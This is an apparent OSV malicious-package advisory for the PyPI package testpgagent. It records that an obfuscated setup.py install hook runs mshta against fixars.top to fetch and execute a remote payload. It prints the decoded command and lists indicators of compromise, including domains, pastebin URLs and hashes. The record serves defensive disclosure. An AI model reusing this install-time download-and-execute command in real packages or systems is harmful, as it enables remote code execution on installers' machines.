{"id":"MAL-2026-5824","summary":"Malicious code in testpgagent (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f)\nOn `pip install`, setup.py line 19 calls `exec(base64.b64decode(...))` whose decoded body is `import os; os.system('cmd /c \"mshta http://fixars.top\"')`. This launches Windows `mshta.exe` against http://fixars.top over plaintext HTTP, fetching and executing an arbitrary HTML-application payload on the installer's machine. The payload is obfuscated with base64+exec to evade casual inspection. The fetch destination is unrelated to any declared publisher, content is unpinned and mutable, and execution is fully attacker-controlled. Any Windows machine running `pip install TestPGAgent==0.2` will execute remote code chosen by whoever controls fixars.top at the moment of install.\n\n## Source: kam193 (b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7)\nDuring installation, the code attempts to download and start a malicious executable.\n\nLikely related to 2025-08-raknet-testing-package.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-06-easyaillm\n\n\nReasons (based on the campaign):\n\n\n - Downloads and executes a remote executable.\n\n\n - obfuscation\n\n\n - malware\n\n\n - tool:mshta\n","modified":"2026-07-08T23:01:58.520261148Z","published":"2026-06-15T17:24:46Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-06-15T18:54:56.185918176Z","id":"IN-MAL-2026-006655","modified_time":"2026-06-15T18:23:03Z","versions":["0.2"],"source":"amazon-inspector","sha256":"c3b12f57a72964e978d195ad7c3a9f6fe560ad1990d55bb1b4053d88a6bb9c4f"},{"modified_time":"2026-06-15T17:24:46.312102Z","versions":["0.1","0.2"],"source":"kam193","sha256":"cc91b82332e104c5788470ba2d3bad983bf7a8d24615c0aa55788877441f6315","import_time":"2026-06-15T18:54:58.630667986Z","id":"pypi/2026-06-easyaillm/testpgagent"},{"source":"kam193","sha256":"716181b28eadded8c97c8523daa795b07ad06a64d705ac88e2e7bed2ce2a496e","import_time":"2026-06-15T22:45:32.26810375Z","id":"pypi/2026-06-easyaillm/testpgagent","modified_time":"2026-06-15T17:24:46.312102Z","versions":["0.1","0.2"]},{"modified_time":"2026-06-15T17:24:46.312102Z","versions":["0.1","0.2"],"source":"kam193","sha256":"d3d68904948d2a20829d60c633af04d71bec824347ef8655781009ff459bf9bb","import_time":"2026-06-16T10:17:17.183594328Z","id":"pypi/2026-06-easyaillm/testpgagent"},{"sha256":"b2ef252322091e2df68ab6476eb3c3946a39f8d1239e7cdf968fdd4f2c2bfea7","import_time":"2026-06-17T09:49:36.179868603Z","id":"pypi/2026-06-easyaillm/testpgagent","modified_time":"2026-06-15T17:24:46.312102Z","versions":["0.1","0.2"],"source":"kam193"},{"source":"amazon-inspector","sha256":"c0c02f55f5bc702497c1ce7a750b2af401194c877e4fa76e17cc21222ee24827","import_time":"2026-07-08T22:51:30.422703227Z","id":"IN-MAL-2026-008873","modified_time":"2026-07-08T22:45:43Z","versions":["0.1"]}],"iocs":{"domains":["fixars.top"],"urls":["https://pastebin.com/raw/hEF5HaFc","https://pastebin.com/raw/yBcUM1QBs","https://pastebin.com/raw/yBcUM1QB","http://fixars.top"]}},"references":[{"type":"PACKAGE","url":"https://pypi.org/project/TestPGAgent/0.2/"},{"type":"EVIDENCE","url":"https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection"},{"type":"EVIDENCE","url":"https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection"},{"type":"EVIDENCE","url":"https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/testpgagent"},{"type":"EVIDENCE","url":"https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129"},{"type":"PACKAGE","url":"https://pypi.org/project/TestPGAgent/0.1/"}],"affected":[{"package":{"name":"testpgagent","ecosystem":"PyPI","purl":"pkg:pypi/testpgagent"},"versions":["0.2","0.1"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/testpgagent/MAL-2026-5824.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"package_integrity":[{"filename":"testpgagent-0.2.tar.gz","hashes":{"sha256":"67e03d8eb4cdfed95b9564a5c7be705cec523782feded1bc2780ee9b0b3dc9dc","blake2b_256":"3329f692eb9e80c4d443dd39b74602a4e0e6f65e56526c27672569f10cd37742","md5":"a4481a2dbcda633fbf453b01a7fd4740"}}],"evidence_files":[{"path":"setup.py","sha256":"48ba3535845d620cf398b4de2516a6ff2c56f283a0969f1d43ddea10c4a7fc6b","tlsh":"29f020838ce9cf1c11f04a440c259010f9e083af1650d8cf347c835c1f74412c227458"}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]}